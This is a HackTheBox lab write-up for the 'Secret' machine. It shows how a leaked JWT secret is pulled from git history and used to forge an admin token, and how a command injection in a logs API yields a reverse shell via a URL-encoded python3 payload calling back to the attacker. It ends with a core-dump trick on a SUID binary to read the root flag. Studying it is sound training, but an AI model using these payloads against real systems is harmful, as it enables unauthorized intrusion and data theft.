Secret - [HTB]
Table of Contents
Introduction
Secret is an easy Linux machine from HackTheBox where the attacker will have to create its own JWT token in order to exploit an API for obtaining a reverse shell. Then, will have to force a core dump of a SUID binary to obtain the contents of the root flag.
Enumeration
As always, let's start finding all opened ports in the machine with Nmap.
kali@kali:~/Documents/HTB/Secret$ sudo nmap -v -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.120
Warning: 10.10.11.120 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.120
Host is up (0.17s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Oct 31 17:25:05 2021 -- 1 IP address (1 host up) scanned in 326.02 second
Then, we continue with a deeper scan of every opened port getting more information about each service.
kali@kali:~/Documents/HTB/Secret$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80,3000 10.10.11.120
Nmap scan report for 10.10.11.120
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Having a look at port 80 there is a web page where we can find a ton of information about an API in development.
With the following link, we can download the API's source code, and in this other link, we can retrieve information about the API functions.
Function | Method | URL | Body | Header |
---|---|---|---|---|
Register user | POST | http://10.10.11.120:3000/api/user/register | {"name": "", "email": "","password": "" } | |
Login user | POST | http://10.10.11.120:3000/api/user/login | {"email": "","password": "" } | |
Access Private Route | GET | http://10.10.11.120:3000/api/priv | auth-token: <JWT_TOKEN> |
Once the source code is downloaded, we can analyse how the API works internally
kali@kali:~/Documents/HTB/Secret/ApiSource$ wget http://10.10.11.120/download/files.zip
kali@kali:~/Documents/HTB/Secret/ApiSource$ unzip files.zip
kali@kali:~/Documents/HTB/Secret/ApiSource$ cd local-web
kali@kali:~/Documents/HTB/Secret/ApiSource/local-web$ ls -la
total 122
drwxrwx--- 1 root vboxsf 4096 Sep 3 01:57 .
drwxrwx--- 1 root vboxsf 0 Nov 1 07:44 ..
-rwxrwx--- 1 root vboxsf 72 Sep 3 01:59 .env
drwxrwx--- 1 root vboxsf 4096 Sep 8 14:33 .git
-rwxrwx--- 1 root vboxsf 885 Sep 3 01:56 index.js
drwxrwx--- 1 root vboxsf 0 Aug 13 00:42 model
[...]
drwxrwx--- 1 root vboxsf 0 Sep 3 01:54 public
drwxrwx--- 1 root vboxsf 0 Sep 3 02:32 routes
drwxrwx--- 1 root vboxsf 0 Aug 13 00:42 src
-rwxrwx--- 1 root vboxsf 651 Aug 13 00:42 validations.js
To access the endpoint /priv
, our JWT token must contain the name "theadmin", as we can see in routes/private.js
.
5 router.get('/priv', verifytoken, (req, res) => {
6 // res.send(req.user)
7
8 const userinfo = { name: req.user }
9
10 const name = userinfo.name.name;
11
12 if (name == 'theadmin'){
13 res.json({
14 creds:{
15 role:"admin",
16 username:"theadmin",
17 desc : "welcome back admin,"
18 }
19 })
20 }
Furthermore, we require the TOKEN_SECRET that is being used at routes/verifytoken.js
1 const jwt = require("jsonwebtoken");
2
3 module.exports = function (req, res, next) {
4 const token = req.header("auth-token");
5 if (!token) return res.status(401).send("Access Denied");
6
7 try {
8 const verified = jwt.verify(token, process.env.TOKEN_SECRET);
9 req.user = verified;
10 next();
11 } catch (err) {
12 res.status(400).send("Invalid Token");
13 }
14 };
Looking at the source code commits we can see that .env
was removed. But, going to the previous commit we can obtain it.
kali@kali:~/Documents/HTB/Secret/ApiSource/local-web$ git log --oneline
e297a27 (HEAD -> master) now we can view logs from server 😃
67d8da7 removed .env for security reasons
de0a46b added /downloads
4e55472 removed swap
3a367e7 added downloads
55fe756 first commit
As we can see, .env
contains the TOKET_SECRET needed to craft our own JWT token.
kali@kali:/tmp/local-web$ git checkout de0a46b
Previous HEAD position was 67d8da7 removed .env for security reasons
HEAD is now at de0a46b added /downloads
kali@kali:/tmp/local-web$ git log --oneline
de0a46b (HEAD) added /downloads
4e55472 removed swap
3a367e7 added downloads
55fe756 first commit
kali@kali:/tmp/local-web$ cat .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
Exploitation 1
In order to do so, we can use jwt.io.
Thanks to curl we can see if that really worked.
kali@kali:~/Documents/HTB/Secret$ curl -w "\n" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo' http://10.10.11.120:3000/api/priv | jq
{
"creds": {
"role": "admin",
"username": "theadmin",
"desc": "welcome back admin"
}
}
Exploitation 2
Looking again at the git commits we can see that there is a new feature in order to see logs. This feature is located at ./routes/private.js
, where we can see that executes the git command without previous sanitation.
32 router.get('/logs', verifytoken, (req, res) => {
33 const file = req.query.file;
34 const userinfo = { name: req.user }
35 const name = userinfo.name.name;
36
37 if (name == 'theadmin'){
38 const getLogs = `git log --oneline ${file}`;
39 exec(getLogs, (err , output) =>{
40 if(err){
41 res.status(500).send(err);
42 return
43 }
44 res.json(output);
45 })
46 }
Because this function requires a GET method we need to pass the file name parameter through the URL.
kali@kali:~/Documents/HTB/Secret$ curl -w "\n\n" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo' http://10.10.11.120:3000/api/logs?file=id
{
"killed": false,
"code": 128,
"signal": null,
"cmd": "git log --oneline id"
}
In order to obtain a reverse shell, we can use python3.
Note: Do not forget to change the IP.
kali@kali:~/Documents/HTB/Secret$ curl -w "\n\n" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo' http://10.10.11.120:3000/api/logs?file=%24%28python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22<IP>%22%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3B%20os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27%29
Now, we are able to obtain the user flag.
kali@kali:~/Documents/HTB/Secret$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.15.118] from (UNKNOWN) [10.10.15.118] 52616
$ python3 -c "import pty;pty.spawn('/bin/bash')"
dasith@secret:~/local-web$ id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
dasith@secret:~/local-web$ cat /home/dasith/user.txt
[CENSORED]
Privilege escalation
At /opt
there is a SUID binary which source code can be found at /opt/code.c
.
dasith@secret:/opt$ ls -l
total 32
-rw-r--r-- 1 root root 3736 Oct 7 10:01 code.c
-rwsr-xr-x 1 root root 17824 Oct 7 10:03 count
-rw-r--r-- 1 root root 4622 Oct 7 10:04 valgrind.log
Essentially this code is an implementation of the wc command which counts the number of characters, words and lines of a file. Furthermore, core dumps are enabled so we can retrieve everything that is stored in memory during its execution like the contents of a read file.
108 int main()
109 {
110 char path[100];
111 int res;
112 struct stat path_s;
113 char summary[4096];
114
115 printf("Enter source file/directory name: ");
116 scanf("%99s", path);
117 getchar();
118 stat(path, &path_s);
119 if(S_ISDIR(path_s.st_mode))
120 dircount(path, summary);
121 else
122 filecount(path, summary);
123
124 // drop privs to limit file write
125 setuid(getuid());
126 // Enable coredump generation
127 prctl(PR_SET_DUMPABLE, 1);
128 printf("Save results a file? [y/N]: ");
129 res = getchar();
To do this, we need to execute the program and live it running after the file has been read.
dasith@secret:~$ /opt/count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]:
Then, using another reverse shell we need to kill the program execution by sending a SIGNAL ABORT.
dasith@secret:~$ kill -6 $(pidof count)
Then, in the former terminal, you will see the message "Aborted (core dumped)".
The core dump will be located at /var/crash/
.
dasith@secret:~$ ls -la /var/crash/
total 88
drwxrwxrwt 2 root root 4096 Nov 1 14:21 .
drwxr-xr-x 14 root root 4096 Aug 13 05:12 ..
-rw-r----- 1 dasith dasith 28147 Nov 1 14:21 _opt_count.1000.crash
Finally, in order to obtain the contents of the root flag, we need to execute the following commands.
dasith@secret:~$ mkdir /tmp/crash
dasith@secret:~$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash
dasith@secret:~$ strings -n 10 /tmp/crash/CoreDump | grep -A1 root
/root/root.txt
[CENSORED]